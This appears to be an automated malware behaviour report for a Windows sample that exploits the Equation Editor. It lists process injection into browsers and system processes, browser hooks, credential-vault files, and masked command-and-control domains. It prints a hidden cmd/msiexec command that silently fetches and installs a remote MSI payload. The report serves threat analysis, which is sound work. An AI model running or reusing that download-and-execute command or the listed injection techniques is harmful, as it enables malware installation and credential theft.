Technical Information
Malicious functions
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://al###rnature.ro/zed/new.msi /qn
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\netstat.exe
the following user processes:
- iexplore.exe
- firefox.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
- iexplore.exe process, wininet.dll module
Modifies file system
Creates the following files
- %TEMP%\gf64obvhm6rl
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\30r4s0se\30rlogrv.ini
- %APPDATA%\30r4s0se\30rlogri.ini
- %TEMP%\dbmpazl
- %TEMP%\arwt_
- %TEMP%\ohot2
- %TEMP%\xvwdgzb
- %TEMP%\crmtxh
- %TEMP%\krrdgx8x
- %TEMP%\dvmhep_p
- %APPDATA%\30r4s0se\30rlogim.jpeg
- %TEMP%\mxihcd_hdd
- %TEMP%\ethll4h0llf
- %TEMP%\4hj4jta
- %TEMP%\0r
- %TEMP%\x868ffix
- %TEMP%\ezvxyvy0gze8
- %TEMP%\i8wtf6wp1v
- %TEMP%\qplhnrdx
- %TEMP%\br
- %TEMP%\jnipjxzxb
- %TEMP%\dtcd
- %TEMP%\uh2
- %TEMP%\cdw0tvz
- %TEMP%\k6mxdbg
- %TEMP%\yxwtbh
- %APPDATA%\30r4s0se\30rlogrf.ini
Deletes the following files
- %TEMP%\gf64obvhm6rl
- %TEMP%\ohot2
- %TEMP%\xvwdgzb
- %TEMP%\crmtxh
- %TEMP%\krrdgx8x
- %TEMP%\dvmhep_p
- %TEMP%\mxihcd_hdd
- %TEMP%\yxwtbh
- %TEMP%\ethll4h0llf
- %TEMP%\4hj4jta
- %TEMP%\arwt_
- %TEMP%\0r
- %TEMP%\ezvxyvy0gze8
- %TEMP%\i8wtf6wp1v
- %TEMP%\qplhnrdx
- %TEMP%\br
- %TEMP%\jnipjxzxb
- %TEMP%\dtcd
- %TEMP%\uh2
- %TEMP%\cdw0tvz
- %TEMP%\k6mxdbg
- %TEMP%\x868ffix
- %TEMP%\dbmpazl
Network activity
TCP
HTTP GET requests
- http://al###rnature.ro/zed/new.msi
- http://www.el###iter.com/l88/?an############################################################################################
- http://www.sa###app.com/l88/?an##################################################################################################
- http://www.la####diagroup.com/l88/?an##################################################################################################
- http://www.gl##tey.com/l88/?an############################################################################################
UDP
- DNS ASK al###rnature.ro
- DNS ASK ck##u.info
- DNS ASK zr##p.info
- DNS ASK el###iter.com
- DNS ASK sa###app.com
- DNS ASK la####diagroup.com
- DNS ASK gl##tey.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\installer\msi5f0d.tmp'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://al###rnature.ro/zed/new.msi /qn' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://al###rnature.ro/zed/new.msi /qn
- '%WINDIR%\syswow64\netstat.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\Installer\MSI5F0D.tmp"
- '%ProgramFiles(x86)%\mozilla firefox\firefox.exe'
